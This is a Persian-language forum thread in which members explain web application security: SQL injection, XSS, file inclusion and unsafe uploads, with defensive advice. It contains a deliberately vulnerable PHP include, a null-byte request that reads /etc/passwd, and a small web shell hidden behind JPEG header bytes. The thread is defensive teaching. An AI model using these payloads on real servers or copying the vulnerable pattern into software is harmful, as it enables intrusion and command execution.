امتیاز موضوع:
  • 1 رأی - میانگین امتیازات: 5
  • 1
  • 2
  • 3
  • 4
  • 5
امنیت در برنامه نویسی وب
نویسنده پیام
Ghoghnus آفلاین
مدیر بخش
*****

ارسال‌ها: 1,497
موضوع‌ها: 270
تاریخ عضویت: آذر ۱۳۸۸

تشکرها : 1652
( 3938 تشکر در 1453 ارسال )
ارسال: #1
امنیت در برنامه نویسی وب
سلام دوستان
زمانی که داریم یه وب طراحی میکنیم چطور امنیتش را ایجاد کنیم

چطوری همه ادرس هاو همه وردی ها را برسی کنیم
اصلا چه چیز هایی نیاز به برسی دارن؟

[تصویر:  a.jpg]

باور کنیم
همانگونه که در غیبت مقصریم در ظهور موثریم!
نیستیم؟

زیر شمشیر غمش رقص کنان باید رفت #  کان که شد کُشته ی او نیک سرانجام افتاد



 چشمک - بهینه شده برای ورژن جدید دانلود پروژه برنامه نويسي
۰۳-فروردین-۱۳۹۰, ۰۱:۵۵:۵۵
وب سایت ارسال‌ها
پاسخ
ha_60 آفلاین
بنيانگذار سايت
******

ارسال‌ها: 4,637
موضوع‌ها: 216
تاریخ عضویت: آبان ۱۳۸۳

تشکرها : 560
( 6556 تشکر در 2385 ارسال )
ارسال: #2
RE: امنیت در برنامه نویسی وب
C# تا اونجا که من م یدونم خیلی از این ها رو خودش انجام می ده البته به شرطی که از کامپوننت های آماده خودش استفاده کنی
ولی در کل هر چیزی که از کاربر می یاد باید بررسی بشه
حتی یه فیلد مخفی یا آدرس ریفر و ...

هادی امین زاده
دیدن چیزی که همه می بینند هنر نیست
بانک اطلاعات صنایع ایران.
۰۳-فروردین-۱۳۹۰, ۱۱:۵۳:۴۰
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : h0x00i, HoseinVig
Ghoghnus آفلاین
مدیر بخش
*****

ارسال‌ها: 1,497
موضوع‌ها: 270
تاریخ عضویت: آذر ۱۳۸۸

تشکرها : 1652
( 3938 تشکر در 1453 ارسال )
ارسال: #3
RE: امنیت در برنامه نویسی وب
خوب میشه بگید چطوری برسی
بکنم
مثلا اگه تغییری توی urlایجاد شد چطوری چک کنم؟
میشه کامل توضیح بدین؟

[تصویر:  a.jpg]

باور کنیم
همانگونه که در غیبت مقصریم در ظهور موثریم!
نیستیم؟

زیر شمشیر غمش رقص کنان باید رفت #  کان که شد کُشته ی او نیک سرانجام افتاد



 چشمک - بهینه شده برای ورژن جدید دانلود پروژه برنامه نويسي
۰۳-فروردین-۱۳۹۰, ۱۴:۰۴:۵۶
وب سایت ارسال‌ها
پاسخ
ha_60 آفلاین
بنيانگذار سايت
******

ارسال‌ها: 4,637
موضوع‌ها: 216
تاریخ عضویت: آبان ۱۳۸۳

تشکرها : 560
( 6556 تشکر در 2385 ارسال )
ارسال: #4
RE: امنیت در برنامه نویسی وب
ببین من کارم C# نیست و نمی دونم دقیقا کجا ها رو چک می کنه
مثلا فرض کن من می یام توی سایتت ثبت نام می کنم به جای اسمم می نویسم </div> حالا اگه یه جا آخرین کاربرهای سایت رو نشون بدی کل سایتت می ریزه بهم
باید sql injection رو هم چک کنی xss و rfi و lfi ها رو هم حواست بهش باشه
http://fa.wikipedia.org/wiki/%D8%AD%D9%8...A%A9%D8%AF
http://en.wikipedia.org/wiki/Cross-site_scripting
http://en.wikipedia.org/wiki/Remote_File_Inclusion
http://en.wikipedia.org/wiki/SQL_injection
http://en.wikipedia.org/wiki/Local_File_Inclusion

هادی امین زاده
دیدن چیزی که همه می بینند هنر نیست
بانک اطلاعات صنایع ایران.
۰۴-فروردین-۱۳۹۰, ۱۱:۵۱:۴۳
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : HoseinVig, hamed_Arfaee
Ghoghnus آفلاین
مدیر بخش
*****

ارسال‌ها: 1,497
موضوع‌ها: 270
تاریخ عضویت: آذر ۱۳۸۸

تشکرها : 1652
( 3938 تشکر در 1453 ارسال )
ارسال: #5
RE: امنیت در برنامه نویسی وب
دوست گلم ممنون از کمکت ولی من یچیز هایی از sql injection وxss میدونم
یعنی میدونم چطوری باید کنترل بشن اما دوتایه بعدی را نه
میشه بگید چه چیزی باید چک بشه
لازم نیست کد باشه ساده بگید چی چیزی باید کنترل بشه
از این لینکها چیزی دستگیرم نشد

بازم ممنون از راهنمایی هاتون

[تصویر:  a.jpg]

باور کنیم
همانگونه که در غیبت مقصریم در ظهور موثریم!
نیستیم؟

زیر شمشیر غمش رقص کنان باید رفت #  کان که شد کُشته ی او نیک سرانجام افتاد



 چشمک - بهینه شده برای ورژن جدید دانلود پروژه برنامه نويسي
(آخرین ویرایش در این ارسال: ۰۴-فروردین-۱۳۹۰, ۱۵:۳۷:۴۸، توسط Ghoghnus.)
۰۴-فروردین-۱۳۹۰, ۱۵:۱۳:۳۵
وب سایت ارسال‌ها
پاسخ
ha_60 آفلاین
بنيانگذار سايت
******

ارسال‌ها: 4,637
موضوع‌ها: 216
تاریخ عضویت: آبان ۱۳۸۳

تشکرها : 560
( 6556 تشکر در 2385 ارسال )
ارسال: #6
RE: امنیت در برنامه نویسی وب
اون ۲ تای دیگه مربوط به انکلود کردن فایل های خارجی یا داخلی
اینو ببین

کد php:
<?php
   $color 
'blue';
   if (isset( 
$_GET['COLOR'] ) )
      
$color $_GET['COLOR'];
   include( 
$color '.php' );
?>

طرف اومده بدون اینکه متغیر $color رو که از طرف کاربر گرفته، چک کنه مستقیم استفاده کرد. حالا اگه من فایل رو اینطوری صدا بزنم

کد php:
/vulnerable.php?COLOR=/etc/passwd%00 

می یاد و فایل passwd رو توی لینوکس اینکلود می کنه و من می تونم تمام یوزر ها رو ببینم به این می گن LFI و اگه فایل از روی یه سرور دیگه اینکلود بشه می گن RFI
این فقط برای GET نیست POST یا کوکی ها هم همین قدر اسیب پذیرن
شما وقتی ۲ تا مقدار معتبر داری باید حتما چک کنی که یکی از این ۲ تا باشه یا بیای از اینتیجر استفاده کنی و چک کنی که طرف حتما اینتیجر فرستاده یا اگه رشته باید باشه مثلا سایز رشته رو و ...
اینو ببن

کد php:
if (isset( $_GET['COLOR'] ) &  $_GET['COLOR']=="red" 

هادی امین زاده
دیدن چیزی که همه می بینند هنر نیست
بانک اطلاعات صنایع ایران.
(آخرین ویرایش در این ارسال: ۰۵-فروردین-۱۳۹۰, ۲۰:۰۶:۲۳، توسط ha_60.)
۰۵-فروردین-۱۳۹۰, ۲۰:۰۳:۵۷
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : HoseinVig, hamed_Arfaee
Ghoghnus آفلاین
مدیر بخش
*****

ارسال‌ها: 1,497
موضوع‌ها: 270
تاریخ عضویت: آذر ۱۳۸۸

تشکرها : 1652
( 3938 تشکر در 1453 ارسال )
ارسال: #7
RE: امنیت در برنامه نویسی وب
دوست عزیز خیلی جالب بود
امکانش هست به همین روش چندتا باگ دیگه را اموزش بدین
ممنون

[تصویر:  a.jpg]

باور کنیم
همانگونه که در غیبت مقصریم در ظهور موثریم!
نیستیم؟

زیر شمشیر غمش رقص کنان باید رفت #  کان که شد کُشته ی او نیک سرانجام افتاد



 چشمک - بهینه شده برای ورژن جدید دانلود پروژه برنامه نويسي
(آخرین ویرایش در این ارسال: ۰۵-فروردین-۱۳۹۰, ۲۰:۵۳:۵۹، توسط Ghoghnus.)
۰۵-فروردین-۱۳۹۰, ۲۰:۲۶:۰۹
وب سایت ارسال‌ها
پاسخ
ha_60 آفلاین
بنيانگذار سايت
******

ارسال‌ها: 4,637
موضوع‌ها: 216
تاریخ عضویت: آبان ۱۳۸۳

تشکرها : 560
( 6556 تشکر در 2385 ارسال )
ارسال: #8
RE: امنیت در برنامه نویسی وب
یه مشکل دیگم که هست توی آپلود معمولا دوستان یادشون می ره درست چک کنن ببینین چیزی که داره آپلود می شه چیه
و همین جوری می شه یه شل رو روی سرورشون آپلود کرد مثلا شما اجازه می دی من عکسم رو روی سایتت آپلود کنم منم می یام یه فایل php که کدهای منو اجرا می کنه، اولش کدهای فایل مثلا jpeg رو اضافه می کنم
کد php:
����JFIFHH���ExifMM,b����JFIF��
<?
php
echo exec($_GET['cmd']);
?>
اگه اینو آپلود کنی من هر دستوری بخوام روی سرورت اجرا می کنم

هادی امین زاده
دیدن چیزی که همه می بینند هنر نیست
بانک اطلاعات صنایع ایران.
(آخرین ویرایش در این ارسال: ۰۵-فروردین-۱۳۹۰, ۲۱:۱۳:۵۳، توسط ha_60.)
۰۵-فروردین-۱۳۹۰, ۲۱:۱۳:۳۱
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : HoseinVig, hamed_Arfaee
Ghoghnus آفلاین
مدیر بخش
*****

ارسال‌ها: 1,497
موضوع‌ها: 270
تاریخ عضویت: آذر ۱۳۸۸

تشکرها : 1652
( 3938 تشکر در 1453 ارسال )
ارسال: #9
RE: امنیت در برنامه نویسی وب
چه خطر ناک
راه حل چیه؟

[تصویر:  a.jpg]

باور کنیم
همانگونه که در غیبت مقصریم در ظهور موثریم!
نیستیم؟

زیر شمشیر غمش رقص کنان باید رفت #  کان که شد کُشته ی او نیک سرانجام افتاد



 چشمک - بهینه شده برای ورژن جدید دانلود پروژه برنامه نويسي
۰۵-فروردین-۱۳۹۰, ۲۱:۳۸:۲۳
وب سایت ارسال‌ها
پاسخ
ha_60 آفلاین
بنيانگذار سايت
******

ارسال‌ها: 4,637
موضوع‌ها: 216
تاریخ عضویت: آبان ۱۳۸۳

تشکرها : 560
( 6556 تشکر در 2385 ارسال )
ارسال: #10
RE: امنیت در برنامه نویسی وب
راه حلش اینه که همه چیز رو چک کنی دیگه من معمولا عکس ها رو ریسایز می کنم تا نتونه چیز دیگه ای آپلودکنه
اسم فایل هم مهمه سعی کن اسم فایل رو خودت انتخاب کنی البته هیچ چیزی شو از کاربر نگیری
اگه اسم فایل jpg باشه هیچ وقت php یا asp اونو اجرا نمی کنن

هادی امین زاده
دیدن چیزی که همه می بینند هنر نیست
بانک اطلاعات صنایع ایران.
۰۶-فروردین-۱۳۹۰, ۰۹:۰۱:۴۶
وب سایت ارسال‌ها
پاسخ
lord_viper غایب
مدیر کل انجمن
*****

ارسال‌ها: 3,949
موضوع‌ها: 352
تاریخ عضویت: بهمن ۱۳۸۴

تشکرها : 5193
( 9875 تشکر در 2650 ارسال )
ارسال: #11
RE: امنیت در برنامه نویسی وب
برای جلوگیری از Sql injection در #C کلاسهای کاار با دیتابیس مثل Sqlcommand یا SqlDataSource چیزی به نام sqlParametr دارن وقتی شما اطلاعات رو به صورت پارامتر به SqlServer ارسال کنین در اکثر موارد از sqlInjection جلوگیری میشه

برای جلوگیری از xss هم هرجا که مقدار ورودی از کاربر میگیرین مثل همون چیزی که اقا هادی گفتن میتونین قبل از ذخیره اطلاعات در دیتابیس با استفاده از Utilities.EncodeHtml اطلاعات رو کد کنین این تابع در متن شما میگرده و تگها رو تغییر میده واونها رو از حالت عادی خارج میکنه و دیگه کدها اجرا نمیشن

برای جلوگیری از اپلود شل و فایلهای غیر مجاز همونجور که هادی جان گفته حتما پسوند فایلها رو چک کنین و ...

[تصویر:  xshon.png]
از آن نماز که خود هیچ از آن نمی فهمی خدا چه فایده و بهره اکتساب کند
تفاخری نبود مر خدای عالم را که چون تو ابلهی او را خدا حساب کند
۰۶-فروردین-۱۳۹۰, ۱۰:۲۱:۵۳
وب سایت ارسال‌ها
پاسخ


موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  مشکل عجیب در برنامه نویسی #C taksa2012 2 3,097 ۱۳-آبان-۱۳۹۳, ۱۳:۳۸:۴۰
آخرین ارسال: taksa2012
  [سوال] امنیت دیتابیس Ghoghnus 6 6,306 ۲۴-دى-۱۳۹۱, ۲۱:۵۱:۱۷
آخرین ارسال: Ghoghnus
  برنامه نویسی تحت شبکه stringf 3 5,093 ۰۱-آذر-۱۳۹۱, ۱۶:۴۸:۳۰
آخرین ارسال: Ghoghnus
  سوال برنامه نویسی rahavard 1 3,046 ۱۴-آبان-۱۳۹۱, ۲۲:۴۹:۴۷
آخرین ارسال: Ghoghnus
  [سوال] کد نویسی برای اتصال به اکسل minoo_f19 2 5,521 ۰۳-تير-۱۳۹۰, ۱۹:۴۸:۲۷
آخرین ارسال: Ghoghnus
  برنامه نویسی سوکت Ghoghnus 2 3,719 ۰۴-اردیبهشت-۱۳۹۰, ۱۹:۱۷:۳۹
آخرین ارسال: Ghoghnus
  برنامه نویسی با notepad vahidnr 3 8,994 ۲۴-آبان-۱۳۸۹, ۱۲:۵۴:۴۶
آخرین ارسال: lord_viper
  برنامه نویسی تخت شبکه با ویژوال سی شارپ HoseinVig 18 23,801 ۱۶-شهریور-۱۳۸۸, ۱۰:۳۷:۳۶
آخرین ارسال: esmaeily-hosein
Big Grin مقدمات و اصول برنامه نویسی سی شارپ xsx-vbs 0 3,727 ۰۱-دى-۱۳۸۶, ۲۰:۲۲:۰۹
آخرین ارسال: xsx-vbs

پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 2 مهمان

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS